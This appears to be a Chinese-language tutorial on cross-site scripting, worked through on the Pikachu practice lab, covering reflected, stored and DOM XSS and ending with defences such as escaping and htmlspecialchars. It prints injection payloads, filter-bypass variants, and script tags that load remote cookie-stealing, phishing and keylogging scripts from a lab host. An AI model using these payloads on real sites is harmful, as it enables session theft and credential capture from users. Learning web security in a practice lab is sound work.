一、跨站腳本漏洞概述
1.1 什么是XSS漏洞?
XSS是一種發生在Web前端的漏洞,其危害的物件也主要是前端用戶,
1.2 XSS如何攻擊?
二、跨站腳本漏洞型別及測驗流程
2.1 跨站腳本漏洞的型別?
(1)反射型
互動的資料一般不會被存在資料庫里邊,一次性,所見即所得,一般出現在查詢頁面等,
(2)存盤型
互動的資料會被存在資料庫里邊永久性存盤,一般出現在留言板、注冊頁面,
(3)DOM型
不與后臺服務器產生資料互動,是一種通過DOM操作前端代碼輸出的時候產生的問題,一次性也屬于反射型,
2.2 XSS漏洞形成的原因
形成XSS漏洞的主要原因是程式對輸入和輸出的控制不夠嚴格,導致"精心構造"的腳本輸入后,在輸到前端時被瀏覽器當作有效代碼決議執行從而產生危害,
2.3 跨站腳本漏洞的測驗流程?
(1)在目標站點上尋找輸入點,比如查詢介面、留言板等;
(2)輸入一組"特殊字符+唯一識別符號",點擊提交后,查看回傳的原始碼,是否有做對應的處理;
(3)通過搜索定位到唯一字符,結合唯一字符前后語法確認是否可以構造執行js的條件(構造閉合);
(4)提交構造的腳本代碼(以及各種繞過姿勢),看是否可以成功執行,如果可以則說明存在XSS漏洞,
注意"
(1)一般查詢介面容易出現反射型XSS漏洞,留言板容易出現存盤型XSS;
(2)由于后臺可能存在過濾措施,構造的script可能會被過濾掉,而無法生效,或者環境限制了執行(瀏覽器);
(3)通過變化不同的script,嘗試繞過后臺過濾機制,
三、反射型XSS(GET&POST)演示和原理分析
3.1反射型xss(GET)
通過firefox+pikachu進行演示
1、首先我們要確認這個頁面是否存在XSS漏洞,
2、通過上邊的講解,說明確實存在XSS漏洞,但是它是哪一種型別的呢?當然我們可以從實驗平臺標題看出是反射型,,,,,但是得來點實際的啊!!我們來看源代碼,
3、那么我們知道了存在XSS漏洞,也知道了他是什么型別,那么攻擊者是如何進行利用的呢?請看下圖!
3.2 反射型xss(POST)
1、原理圖
2、在實驗準備之前我們先準備所用到的"表單自動提交頁面"post.html檔案,
那么在pikuchu平臺,已經為我們準備好了,pkxss\xcookie\post.html
3、我們先分析一下post.html里邊的代碼,弄清楚攻擊原理,
4、我們先來到xss(post)模塊界面,進行登陸,登陸成功后我們記住登陸成功后的網址,
5、然后將我們的post.html檔案放到我們的網站根目錄下,然后打開一個新的標簽頁,訪問我們準備好的post.html,
6、我們訪問之后發現自動跳轉到了我們的pikuchu平臺首頁,其實他已經完成了js代碼的執行和攻擊,我們來到后臺再看一下結果,是否成功獲得了cookie資訊,
四、存盤型XSS演示和原理分析
1、我們先隨便寫一個留言 試一試
2、和反射型xss一樣的手法,我們輸入一些常見編程字符,看系統是否會過濾掉這些字符,
3、接下來我們和反射型xss一樣,書寫一段js代碼,進行提交,
4、當我們重繪頁面的時候,我們會驚奇的發現,我們仍然可以看到如上圖所示的彈窗頁面,這說明我們的js腳本被永久的存放了下來,
5、下面我們來看一下原始碼,
五、Dom型XSS演示和原理分析
1、什么是Dom?(答案內容來自w3school,也可以親自前往w3school查看哦~~)
(1)DOM 是 W3C(萬維網聯盟)的標準,
(2)DOM 定義了訪問 HTML 和 XML 檔案的標準:
"W3C 檔案物件模型 (DOM) 是中立于平臺和語言的介面,它允許程式和腳本動態地訪問和更新檔案的內容、結構和樣式,"
(3)W3C DOM 標準被分為 3 個不同的部分:
核心 DOM - 針對任何結構化檔案的標準模型
XML DOM - 針對 XML 檔案的標準模型
HTML DOM - 針對 HTML 檔案的標準模型
(4)注:DOM 是 Document Object Model(檔案物件模型)的縮寫,
★通俗點講:
要改變頁面的某個東西,JavaScript就需要獲得對HTML檔案中所有元素進行訪問的入口,這個入口,連同對HTML元素進行添加、移動、改變、或移除的方法和屬性,都是通過對檔案物件型別來獲得的(DOM),所以我們可以把DOM理解為一個訪問HTML的標準編程介面,
2、現在我們來演示一下DOM型XSS漏洞,
首先我們在pikuchu平臺對應的模塊做如下操作,
3、我們右擊,選擇查看頁面源代碼,我們Ctrl+F搜索what定位到代碼位置,我們來分析代碼:
4、通過對代碼的初步分析,我們發現可以在a標簽里構造閉合陳述句
5、首先說明一下構造陳述句是:
#' onclick="alert('xss')">
上圖中存在錯誤,xss沒有加單引號,而且還少了最后的>
我們將構造陳述句填入輸入框
6、那么隨著網頁的重繪,我們的構造陳述句也會被消除,這有什么實際性的用途呢,這個例子只是對于DOM型xss進行了演示,我們接著看下一種型別,
7、我們來到pikuchu平臺DOM型xss-x模塊
8、我們再次查看這個頁面的代碼并且進行分析:
我們和之前一樣,構造陳述句即可,構造陳述句沒有任何變化,
9、不同:這個是從url地址欄獲得的資訊,即我們所寫的構造陳述句,那么攻擊者就可以將URL發給受害者,受害者點擊,就會中招,這和反射型(GET)的思想是一樣的,
六、XSS的危害
6.1 獲取cookie的原理和實驗演示
1、首先來看原理圖(實驗思路)
2、pkxss后臺的使用
說明:pikachu的后臺模塊是一個獨立的模塊,可以把在pikachu的站點目錄C:\phpStudy\PHPTutorial\WWW\pikachu-master(不是確定的目錄,視自己的情況而定)中,將pkxss檔案夾復制到站點目錄(C:\phpStudy\PHPTutorial\WWW)下,如下圖所示,
接下來我們有兩種方式來訪問pkxss后臺,
第一種:
第二種:當我們按照說明中說的方法將后臺模塊單獨拿出來以后,單獨進行訪問,
3、那么后臺是怎么接收到cookie的呢?我們來看原始碼,
首先我們來看pkxss\xcookie\cookie.php檔案
然后我們來看pkxss\xcookie\pkxss_cookie_result.php檔案
4、在正式實驗開始之前,我們先打開后臺的cookie搜集頁面
5、我們利用反射型的xss模塊進行cookie的獲取演示,
6、對于上圖referer一欄,我們可以將里邊的URL地址發送給目標,如果目標沒有防范意識,就會成為受害者,
6.2 XSS進行釣魚的原理和實驗演示(未完成)
1、原理:
2、接下來我們用存盤型xss模塊來進行釣魚的演示
js惡意腳本:<script src="http://192.168.33.253/pkxss/xfish/fish.php"></script>
3、接下來我們來看一下fish.php里邊到底是啥,
4、回到留言板頁面
5、點擊提交,我們觀察出現的頁面
6、我們先什么都不輸入,來到后臺釣魚結果的頁面
7、在彈窗內輸入后,我們再次來到后臺
這里因為環境的原因,有點問題,正常情況下,釣魚結果頁面會有結果,大家可以試試,
6.3 XSS獲取鍵盤記錄原理和實驗演示
1、實驗開始之前,首先我說明什么是跨域
(1)當協議、主機(主域名,子域名)、埠中的任意一個不相同時,稱為不同域,我們把不同的域之間請求資料的操作,稱為跨域操作~
(2)跨域-同源策略
為了安全考慮,所有的瀏覽器都約定了"同源策略",同源策略規定:兩個不同域名之間不能使用JS進行相互操作,例如:a.com域名下的JavaScript并不能操作b.com域下的物件,如果想要跨域操作,則需要管理員進行特殊的配置,例如:通過header("Access-Control-Allow-Origin:x.com")指定,
注意:下面的這些標簽跨域加載資源(資源型別有限制)是不受同源策略限制的,
√<script src="https://www.cnblogs.com/Feng-L/p/…">//js,加載到本地執行
√<image src="https://www.cnblogs.com/Feng-L/p/…">//圖片
√<link href="https://www.cnblogs.com/Feng-L/p/…">//css
√<iframe src="https://www.cnblogs.com/Feng-L/p/…">//任意資源
2、了解了同源策略,下面我們正式開始演示環節,我們同樣使用存盤型XSS模塊進行演示,
為了更深的理解,我們先看后臺代碼~
3、在留言區域輸入<script src="http://192.168.33.253/pkxss/rkeypress/rk.js"></script>
執行我們的rk.js腳本,
4、前往后臺看我們的結果,
七、XSS盲打演示和原理分析
1、我們來到pikachu實驗平臺xss盲打模塊
2、提交之后會提示我們"謝謝參與,閣下的看法我們已經收到!",那么我們輸入一段js代碼,例如:彈一個窗<script>alert('xss')</script>
3、那么我們想,管理員登陸后臺的時候如果沒有對用戶提交的資料進行過濾處理,那么我們的js代碼就會被執行,這個平臺提供給我們一個模擬后臺,我們可以看一下模擬環境,在本模塊的"提示"我們會看到后臺的地址,我們復制到URL地址欄進行訪問登陸,
4、這種xss盲打危害其實挺大的,攻擊者直接將惡意代碼植入后臺,當管理員登陸的時候,攻擊者有可能會獲得后臺的權限,這就得到了生殺大權啊~~
八、XSS的過濾和繞過(filter&htmlspecialchars)
8.1 過濾-轉換
前端限制繞過,我們可以直接抓包重放,或者修改html前端代碼
(1)大小寫,比如:<SCRIPT>alert(111)</sCRIpt>
(2)拼湊:<scr<script>pt>alert(111)</scri</script>pt>
(3)使用注釋進行干擾:<scri<!--test-->pt> alert(111)</sc<!--test-->pt>
8.2 過濾-編碼
核心思路:
后臺過濾了特殊字符,比如<script>標簽,但是該標簽可以被各種編碼,后臺不一定會過濾,當瀏覽器對該編碼進行識別時,會被翻譯成正常的標簽,從而執行,那么,在使用編碼時,需要注意編碼在輸出點是否會被正常識別和翻譯!
下邊有兩個例子,一錯一對:
8.3 大小寫繞過的演示
1、來到pikachu漏洞練習平臺xss之過濾模塊
2、下面我們來看一下原始碼
3、現在我們嘗試繞過
方法一:采用大小寫混合的方法<SCriPt>alert('xss')</script>
方法二:采用<img/>標簽<img src=https://www.cnblogs.com/Feng-L/p/x one rror="alert('xss')"/>
8.4 XSS繞過—關于htmlspecialchars()函式
htmlspecialchars()函式:把預定義的字符轉換成為HTML物體,預定義的字符如下:
☆&(和號)成為&
☆"(雙引號)成為"
☆'(單引號)成為'
☆<(小于號)成為<
☆>(大于號)成為>
可用的引號型別:
ENT_COMPAT-默認,僅編碼雙引號,
ENT_QUOTES-編碼雙引號和單引號,
ENT_NOQUOTES-不編碼任何引號,
下面我們來具體的演示:
1、來到pikachu平臺的xss之htmlspecialchars模塊,
2、我們再打開頁面源代碼看一下
3、我們再看一下后臺代碼,
4、我們嘗試繞過,構造陳述句:abc'onclick='alert(520)'
九、XSS常見防范措施
9.1 總的原則
輸入做過濾,輸出做轉義,
過濾:根據業務需求進行過濾,比如輸入點要求輸入手機號,則只允許輸入手機號格式的數字,
轉義:所有輸出到前端的資料都根據輸出點進行轉義,比如輸出到html中進行html物體轉義,輸入到JS里進行JS轉義,
9.2 演示:xss之href輸出
1、我們先看源代碼
2、那么針對這樣的情況,輸出在a標簽的herf屬性里邊,我們該如何解決?我們可以執行JavaScript協議執行js,我們直接在輸入框輸入:javascript:alert(520),然后點擊submit,出現一個連接,我們點擊,就會出現下面的頁面,
3、那么我們該如何防范這種情況?
(1)由于a標簽herf屬性是用來書寫url地址的,我們可以只允許用戶輸入以http或者https開頭的資料,
(2)同時進行htmlspecialchars處理,把特殊字符給處理掉,
9.3 演示:xss之js輸出
1、我們來到xss之js輸出模塊,隨便輸入一段字串,
2、我們在js內構造閉合陳述句
我們將上圖右側大紅框內的代碼復制到notepad++進行陳述句的構造,
構造陳述句:abc'</script><script>alert('xss')</script>
3、我們將構造的陳述句復制到輸入框,點擊"submit",就會出現下邊頁面,
4、下面我們來看一下后端的代碼,
5、那在這種情況下我們該如何防范?
我們會想到對html進行物體編碼,但是javascript里面是不會對tag和字符物體進行解釋,也就是說,雖然編碼表面上可以解決問題,但是物體編碼后的內容,在JS里面不會進行翻譯,這樣會導致前端的功能無法使用,針對這種情況,我們應該在JS的輸出點應該使用\對特殊字符進行轉義,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/43305.html
標籤:其他
